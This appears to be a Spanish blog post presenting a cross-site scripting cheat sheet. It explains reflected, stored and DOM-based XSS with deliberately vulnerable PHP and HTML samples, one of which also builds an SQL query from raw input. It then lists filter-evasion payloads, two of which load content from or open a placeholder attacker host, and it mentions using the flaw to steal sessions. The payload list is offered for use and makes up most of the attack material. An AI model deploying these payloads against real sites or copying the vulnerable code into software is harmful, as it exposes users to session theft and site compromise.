Cross-site scripting (XSS) es una vulnerabilidad que permite a un atacante inyectar código (normalmente HTML o JavaScript) en una web. Cuando una víctima ve una página infectada, el código inyectado se ejecuta en su navegador.
Hoy traemos un Cheat Sheet sobre esta vulnerabilidad que no es de las mas conocidas por el usuario común pero si es de las que mas aparecen en las webs.

Cross-Site-Scripting (XSS)

El ataque se realizara insertando en algun campo de la pagina web donde al estar mal validado consigamos ejecutar un script como este:

<script>alert("Hacked")</script>

A veces esta validación si que se realiza pero aun así en muchos casos es posible alterar nuestros scripts para conseguir saltarnos los filtros que se realicen.
Crearemos una pequeña lista sobre el bypass de los filtros al final de este post.

Para hablar de XSS tenemos que distinguir entre varios tipos que detallamos a continuación:

  • XSS Reflected:

    El XSS reflected consiste en la inyección del script de manera que a traves de una url maliciosa el atacante pueda provocar la ejecución en el navegador de la víctima.
    Por ejemplo en el siguiente código de PHP

    <html>
    <h2>Bucador de palabras</h2>	
    <?php
       echo "<form action='index.php' method='get'>
       <p>Palabra a buscar: <input type='text' name='palabra'></p>
       <input type='submit' value='Enviar'>
       </form>
       <br>
       <br>";
       if($_GET){
    	echo "La palabra ".$_GET['palabra']. " ha obtenido el resultado de ...";
    	}
    ?>
    </html>
    

    Como vemos en el código anterior, se mostrará lo que se pase por el formulario mediante GET. Si lo vemos gráficamente podemos escribir el script en el input y ver que logramos ejecución.



    Si nos fijamos en la url obtenida al introducir el script veremos que aparece nuestro script aunque con el url encode

    http://vulnerable.com/index.php?palabra=%3Cscript%3Ealert%28%22Hacked%22%29%3C%2Fscript%3E

    Si este enlace se lo pasamos a alguien su navegador ejecutará el script que en este caso es un simple alert pero bien podriamos aplicar el robo de sesiones que teneis explicado aqui

  • XSS Stored:

    Al contrario que el XSS reflected el XSS stored se guardará en la base de datos por lo que el script tendra persistencia.
    Es un tipo de XSS mas grave debido a que no se tendrá que recurrir al link malicioso si no que todo el que entre donde se muestre el script almacenado lo ejecutará.

    En este caso el script de PHP que podríamos encontrar sería algo como esto:

    <html>
    <h2>Mensajes</h2>	
    <?php
    include("conexion.php");
    echo "<form action='index.php' method='post'>
    <p>Mensaje a introducir: <input type='text' name='mensaje'></p>
    <input type='submit' value='Enviar'>
    </form>
    <br>
    <br>";
    if($_POST){
    	$mensaje=$_POST['mensaje'];
    	$conexion->query("insert into mensajes(mensaje) values('$mensaje')");
    	}
    $result=$conexion->query("select * from mensajes");
    while($line=mysqli_fetch_array($result)){	
    	echo "Mensaje: ".$line['mensaje']."<br>";
    		}
    ?>
    </html>
    

    Como vemos en este caso nos pedirá mediante un input los mensajes a guardar y también nos mostrará los mensajes guardados en la base de datos.
    En este caso también introducimos en el input el script y conseguiremos que cualquiera que visualice los mensajes ejecute el script.



    En este caso la ejecución se produce sin tener que engañar al usuario con un link por lo que es un ataque mas peligroso aunque también es menos común ya que la información guardada se valida con mas cuidado.

  • DOM Based XSS:

    En este caso nuestra inyección no pasara por el servidor por lo que no se tendrán que transpasar sus filtros, el ataque se producira directamente sobre la estructura del documento HTML(DOM). En el lado del cliente es menos comun la validación de variables y rutas por lo que es mas dificil encontrarse filtros pero si nos podemos encontrar con que los navegadores actuales como la última versión de firefox convierten a url encode al usar los metodos document.baseURI, document.location.href, etc.

    <html>
    <h2 id="title">HI!</h2>
    <script>
    var URL =  document.baseURI;
    document.write("you are in "+URL);
    </script>
    </html>
    </script>
    </html>
    


    Este HTML simplemente te indica la pagina en la que estas, utilizando la ruta que aparece en el navegador. Si cambiamos la ruta añadiendo el # para que no se envie al servidor y despues el script conseguiremos que se ejecute el script.
    Como en el caso del XSS Reflected necesitaremos enviar la url maliciosa a la víctima ya que no se lográ persistencia.


Despues de haber visto los tipos de XSS ahora veremos una serie de filtros que se implementan para evitar la inyección y algunas maneras de bypassearlos.

  • Verificar la palabra script:

    Al introducir la palabra script el servidor la procesará y la eliminará.
    Si no es Case Sensitive se podrá bypassear con:

    <Script>alert("hacked")</Script>
    <SCRIPT>alert("hacked")</SCRIPT>
    

    Si por el contrario no distingue entre mayusculas y minusculas:

    <Scr<script>ipt>alert("hacked")</Scr<script>ipt>
    

    Si estan validadas todas las combinaciones podemos prescindir de la etiqueta script:

    <img src="fdfdfsfs.jpg" onerror="alert("hacked")">
    <img src="javascript:alert('hacked');">
    <img src=JaVaScRiPt:alert('hacked')>
    <body ONLOAD=alert('hacked')>
    
  • Eliminacion de los caracteres especiales( ; , ” , ‘ ):

    A veces se eliminan las comillas o puntos y comas, pero las podemos evitar:

    <img src=javascript:alert(String.fromCharCode(104,97,99,107,101,100))>
    <img src=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
    
  • Validacion por medio de htmlentities():
    <img src=javascript:alert(&quot;hacked&quot;)>
    

A parte de estas validaciones puede haber muchas mas complicadas y efectivas. También tendríamos que tener en cuenta los WAF que podrían detectar este tipo de ataques.

Una lista mas extendida y sin clasificación de scripts utiles:

<img src="jav	ascript:alert('hacked');">
<img src="jav&#x09;ascript:alert('hacked');">
<img src="jav&#x0D;ascript:alert('hacked');">
<<SCRIPT>alert("hacked");//<</SCRIPT>
<iframe src=http://attacker-ip/hacked.html <
<STYLE type="text/css">BODY{background:url("javascript:alert('hacked')")}</STYLE>
"><img src="x:x" onerror="alert(hacked)">
"><iframe src="javascript:alert(hacked)">
<object data="javascript:alert(hacked)">
<isindex type=image src=1 onerror=alert(hacked)>
<img src=x:alert(alt) onerror=eval(src) alt='hacked'>
<img  src="x:gif" onerror="window['al\u0065rt']('hacked')"></img>
<iframe/src="data:text/html,<svg onload=alert('hacked')>">
<meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert('hacked')" http-equiv="refresh"/>
<svg><script xlink:href=data&colon;,window.open('https://attackerip/')></script
<meta http-equiv="refresh" content="0;url=javascript:confirm("hacked")">
<iframe src=javascript&colon;alert&lpar;document&period;location&rpar;>
<form><a href="javascript:\u0061lert("hacked")">X

Referencias:

¿Me ayudas a compatirlo?